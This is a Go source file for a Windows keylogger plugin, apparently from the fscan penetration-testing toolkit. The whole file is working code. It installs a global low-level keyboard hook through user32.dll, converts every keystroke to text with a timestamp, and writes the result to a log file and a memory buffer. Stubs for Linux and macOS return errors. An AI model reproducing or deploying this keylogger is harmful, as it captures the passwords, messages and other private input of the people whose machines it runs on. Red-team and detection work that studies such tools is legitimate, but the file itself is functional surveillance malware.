// +build windows package keylogger import ( "context" "fmt" "os" "syscall" "time" "unsafe" "github.com/shadow1ng/fscan/common" ) // Windows API 声明 var ( user32 = syscall.NewLazyDLL("user32.dll") kernel32 = syscall.NewLazyDLL("kernel32.dll") procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW") procCallNextHookEx = user32.NewProc("CallNextHookEx") procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx") procGetMessage = user32.NewProc("GetMessageW") procGetModuleHandle = kernel32.NewProc("GetModuleHandleW") procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState") ) const ( WH_KEYBOARD_LL = 13 WM_KEYDOWN = 0x0100 WM_KEYUP = 0x0101 WM_SYSKEYDOWN = 0x0104 WM_SYSKEYUP = 0x0105 ) type ( DWORD uint32 WPARAM uintptr LPARAM uintptr LRESULT uintptr HANDLE uintptr HHOOK HANDLE HWND HANDLE ) type POINT struct { X, Y int32 } type MSG struct { HWND HWND Message uint32 WParam WPARAM LParam LPARAM Time uint32 Pt POINT } type KBDLLHOOKSTRUCT struct { VkCode DWORD ScanCode DWORD Flags DWORD Time DWORD DwExtraInfo uintptr } // 全局变量 - 简化版本 var ( windowsHook HHOOK keylogger *KeyloggerPlugin logFile *os.File eventChannel chan KeyboardEvent stopHookChan chan bool ) // KeyboardEvent 键盘事件结构,模仿gohook的设计 type KeyboardEvent struct { Kind EventKind Rawcode uint16 Keychar string Timestamp time.Time } type EventKind int const ( KeyDown EventKind = iota KeyUp ) // startWindowsKeylogging 启动Windows键盘记录 - 高效版本 func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { common.LogInfo("启动Windows键盘记录 (高效版本)...") keylogger = p // 创建事件通道(模仿gohook的设计) eventChannel = make(chan KeyboardEvent, 100) stopHookChan = make(chan bool, 1) // 打开日志文件进行实时写入 var err error logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) if err != nil { return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err) } defer func() { if logFile != nil { logFile.Close() logFile = nil } }() // 写入文件头部 p.writeLogHeader() // 启动Hook监听(在独立goroutine中) go p.startKeyboardHook() // 启动事件处理(模仿你的for ev := range evChan的模式) return p.processEvents(ctx) } // startKeyboardHook 启动键盘Hook监听 func (p *KeyloggerPlugin) startKeyboardHook() { // 安装Hook hookProc := syscall.NewCallback(keyboardHookProc) moduleHandle, _, _ := procGetModuleHandle.Call(0) hook, _, _ := procSetWindowsHookEx.Call( uintptr(WH_KEYBOARD_LL), hookProc, moduleHandle, 0, ) if hook == 0 { common.LogError("安装键盘Hook失败") return } windowsHook = HHOOK(hook) common.LogInfo("键盘Hook安装成功") // 消息循环 msg := &MSG{} for { select { case <-stopHookChan: // 清理Hook procUnhookWindowsHookEx.Call(uintptr(windowsHook)) common.LogInfo("键盘Hook已清理") return default: // 非阻塞消息处理 ret, _, _ := procGetMessage.Call( uintptr(unsafe.Pointer(msg)), 0, 0, 0, ) if ret == 0 || ret == 0xFFFFFFFF { break } } } } // keyboardHookProc Hook回调函数 - 简化版本 func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT { // 立即调用下一个Hook,确保系统响应 ret, _, _ := procCallNextHookEx.Call( uintptr(windowsHook), uintptr(nCode), uintptr(wParam), uintptr(lParam), ) // 快速处理我们的逻辑 if nCode >= 0 && eventChannel != nil { if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN { kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam)) vkCode := kbdStruct.VkCode keychar := quickKeyChar(vkCode) if keychar != "" { // 非阻塞发送事件 select { case eventChannel <- KeyboardEvent{ Kind: KeyDown, Rawcode: uint16(vkCode), Keychar: keychar, Timestamp: time.Now(), }: default: // 通道满了就跳过,不阻塞系统 } } } } return LRESULT(ret) } // processEvents 处理键盘事件 - 完全模仿你的设计 func (p *KeyloggerPlugin) processEvents(ctx context.Context) error { common.LogInfo("开始处理键盘事件...") // 完全模仿你的for ev := range evChan模式 for { select { case <-ctx.Done(): common.LogInfo("收到上下文取消信号,退出键盘记录") stopHookChan <- true return nil case ev := <-eventChannel: // 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown) if ev.Kind == KeyDown && ev.Keychar != "" { // 写入文件 - 完全模仿你的实时写入模式 fmt.Fprintf(logFile, "[%s] %s\n", ev.Timestamp.Format("15:04:05.000"), ev.Keychar) logFile.Sync() // 模仿你的f.Sync() // 添加到内存缓冲区用于统计 p.bufferMutex.Lock() p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s", ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar)) p.bufferMutex.Unlock() common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode)) } } } } // writeLogHeader 写入日志文件头部 func (p *KeyloggerPlugin) writeLogHeader() { if logFile == nil { return } // 模仿你的日志格式 fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05")) fmt.Fprintf(logFile, "记录模式: 持续记录\n") fmt.Fprintf(logFile, "平台: Windows (高效版本)\n") fmt.Fprintf(logFile, "================================\n\n") logFile.Sync() } // quickKeyChar 快速键码转字符(简化版本) func quickKeyChar(vkCode DWORD) string { switch { // 数字0-9 case vkCode >= 0x30 && vkCode <= 0x39: return string(rune(vkCode)) // 字母A-Z (统一转小写) case vkCode >= 0x41 && vkCode <= 0x5A: return string(rune(vkCode + 32)) // 基本特殊字符 case vkCode == 0x20: return " " case vkCode == 0x0D: return "[Enter]" case vkCode == 0x08: return "[Backspace]" case vkCode == 0x09: return "[Tab]" case vkCode == 0x1B: return "[Esc]" case vkCode == 0x2E: return "[Delete]" // 方向键 case vkCode == 0x25: return "[Left]" case vkCode == 0x26: return "[Up]" case vkCode == 0x27: return "[Right]" case vkCode == 0x28: return "[Down]" // 特殊键 (包括左右Shift/Ctrl/Alt) case vkCode == 0x10 || vkCode == 0xA0 || vkCode == 0xA1: // VK_SHIFT, VK_LSHIFT, VK_RSHIFT return "[Shift]" case vkCode == 0x11 || vkCode == 0xA2 || vkCode == 0xA3: // VK_CONTROL, VK_LCONTROL, VK_RCONTROL return "[Ctrl]" case vkCode == 0x12 || vkCode == 0xA4 || vkCode == 0xA5: // VK_MENU, VK_LMENU, VK_RMENU return "[Alt]" // 基本标点符号 case vkCode == 0xBA: // ; return ";" case vkCode == 0xBB: // = return "=" case vkCode == 0xBC: // , return "," case vkCode == 0xBD: // - return "-" case vkCode == 0xBE: // . return "." case vkCode == 0xBF: // / return "/" // 功能键 case vkCode >= 0x70 && vkCode <= 0x7B: // F1-F12 return fmt.Sprintf("[F%d]", vkCode-0x6F) default: return "" // 跳过其他按键,保持高性能 } } // checkWindowsRequirements 检查Windows特定要求 func (p *KeyloggerPlugin) checkWindowsRequirements() error { common.LogInfo("检查Windows键盘记录权限...") return nil } // 其他平台的空实现 func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { return fmt.Errorf("Linux平台请使用专门的实现") } func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { return fmt.Errorf("Darwin平台请使用专门的实现") } func (p *KeyloggerPlugin) checkLinuxRequirements() error { return fmt.Errorf("不支持的平台") } func (p *KeyloggerPlugin) checkDarwinRequirements() error { return fmt.Errorf("不支持的平台") }